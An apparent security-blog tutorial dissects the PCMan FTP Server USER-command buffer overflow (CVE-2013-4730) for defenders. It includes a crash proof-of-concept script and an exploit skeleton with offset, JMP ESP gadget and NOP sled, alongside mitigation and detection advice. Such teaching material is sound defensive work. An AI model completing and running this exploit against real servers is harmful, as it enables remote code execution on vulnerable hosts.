Anatomy of a working exploit
Proof-of-concept code is the honest currency of vulnerability research. A CVSS score is a claim; a working PoC is a receipt. We take a small, self-contained buffer overflow, CVE-2013-4730 in PCMan's FTP Server 2.0.7, and walk through the mechanics of turning "the service crashes" into "the service executes attacker-chosen code." The point is not to celebrate a thirteen-year-old bug. The point is that every defender should be able to read an exploit the way a locksmith reads a lock: unhurriedly, structurally, without mystique. When you can narrate an exploit end-to-end, your detection engineering, your patch prioritisation, and your incident-response tabletops all sharpen.
1. The bug, in one paragraph
PCMan's FTP Server 2.0.7 parses the USER command by copying the argument into a fixed-size stack buffer with no length check. Send USER followed by ~2000 bytes and the return address is overwritten with attacker-controlled data. The process runs as whichever account launched it (historically SYSTEM in lab setups) with no ASLR on the vulnerable image, no stack canaries, and no SafeSEH. Every mitigation a modern build would enable is absent. That is what makes it a teaching bug: the failure mode is legible.
Two sibling issues on the same product round out the picture: CVE-2015-7601 (a RETR directory traversal via ..//) and CVE-2018-18861 (a second overflow via APPE). The vendor's parser was structurally unsafe; each new command surface exposed the same class of failure. When you see a CVE cluster like this, treat the codebase as the finding, not any individual CVE.
2. Reproducing the crash
Before crafting an exploit, prove the primitive. On an isolated VM with a debugger attached to PCManFTPD2.exe, send an oversized USER value and watch the instruction pointer.
# poc_crash.py: reproduce CVE-2013-4730 in an isolated VM only
import socket, sys
TARGET = ("192.0.2.55", 21) # RFC5737 doc space
PAYLOAD = b"A" * 2000 # far past the buffer
with socket.create_connection(TARGET, timeout=5) as s:
banner = s.recv(1024)
print("banner:", banner.strip().decode(errors="replace"))
s.sendall(b"USER " + PAYLOAD + b"\r\n")
try:
print("resp:", s.recv(1024))
except socket.timeout:
print("no response, service likely crashed")
The debugger stops with EIP = 0x41414141. That single fact, the CPU attempting to fetch its next instruction from attacker-controlled input, is the entire game. Every subsequent step is bookkeeping.
3. From crash to control
Exploit development is an ordered checklist; defenders should read it as one:
- Find the offset. Send a De Bruijn (cyclic) pattern, note which four bytes land in
EIP, and compute the distance from the buffer start. For this bug the widely-published offset is 2007 bytes. - Locate a trampoline. Rather than hard-coding a stack address, find a stable
JMP ESPgadget in a non-ASLR module, a shipped DLL with no relocations.mona.pyenumerates candidates in seconds. - Stage the payload. After the return address, place a short NOP sled followed by position-independent shellcode. In a lab,
windows/execwithcalc.exeproves control without weaponisation. - Bad-char triage. FTP command parsers consume
\x00,\x0a,\x0d, and often\x20. Any of these inside the shellcode will truncate or mangle it. Encoders such asx86/shikata_ga_nairoute around this. - Reliability. A working PoC survives a service restart, a different language pack, and a re-linked binary. Anchor to invariants, not addresses.
The skeleton, with placeholders where the researcher must do the real work:
OFFSET = 2007
JMP_ESP = b"\xAF\x11\x50\x62" # <-- module-specific, verify per build
NOP_SLED = b"\x90" * 16
SHELLCODE = b"" # generated, bad-char-clean, benign in lab
buf = b"A" * OFFSET + JMP_ESP + NOP_SLED + SHELLCODE
sock.sendall(b"USER " + buf + b"\r\n")
Nothing here is exotic. That is the point. Enumerating modules, filtering bad chars, verifying the gadget across builds: these are engineering discipline, not wizardry.
4. What a modern build would have prevented
Each of the following mitigations would independently have broken this exploit:
- Stack canaries (
/GS) detect the overwrite beforeretexecutes. - ASLR on all loaded modules makes the
JMP ESPaddress unpredictable, requiring an information leak first. - DEP/NX refuses to execute shellcode from the stack, forcing a ROP chain and dramatically raising the cost.
- CFG/CET rejects the indirect transfer to an unsanctioned target.
- A bounded
strncpy_seliminates the primitive entirely.
Each mitigation is a speed bump, not a wall. Layered, they turn a weekend PoC into a multi-week research project. That is the argument to make to a platform team that resists enabling /GS "because it's slow": the alternative is CVE-2013-4730 with a network listener.
More recent memory-corruption bugs such as CVE-2020-0901 (Excel remote code execution via malformed objects), CVE-2020-1010 (arbitrary file deletion in wbengine), and CVE-2020-1021 (Windows Error Reporting elevation of privilege) required exploit chains rather than one-shot payloads precisely because those mitigations were in place. When a modern CVSS 9.8 needs a bug chain and a 2013 bug needs 60 lines of Python, the mitigation stack is doing measurable work.
5. What defenders should take from the PoC
- Key detections off primitives, not payloads. For this bug, an FTP
USERargument exceeding a sane threshold (128 bytes, say) is a high-fidelity signal regardless of what shellcode follows. Encoders defeat signatures; they cannot defeat length invariants. - Egress matters. Even a successful RCE must reach back out. Deny-by-default outbound rules on service accounts reduce most PoCs to a crash and a log line.
- Version inventory is exploit inventory. A patch-management dashboard that cannot answer "which hosts run PCManFTPD2.exe?" cannot answer "which hosts are exposed to CVE-2013-4730, CVE-2015-7601, or CVE-2018-18861?"
- Companion bugs travel together. The traversal bug and the second overflow shipped in the same binary as the first. Treat the vendor's parser class as the unit of remediation.
- Publish PoCs internally. A red-team PoC that never leaves a private repo is a defender's blind spot. Attach detection queries and mitigation notes to every internal write-up.
Exploits are readable. Once you have narrated one end-to-end, the problem class stops feeling opaque and starts feeling like plumbing you can inspect, gate, and monitor. That is the shift every application-security team should make.
Verifiable security.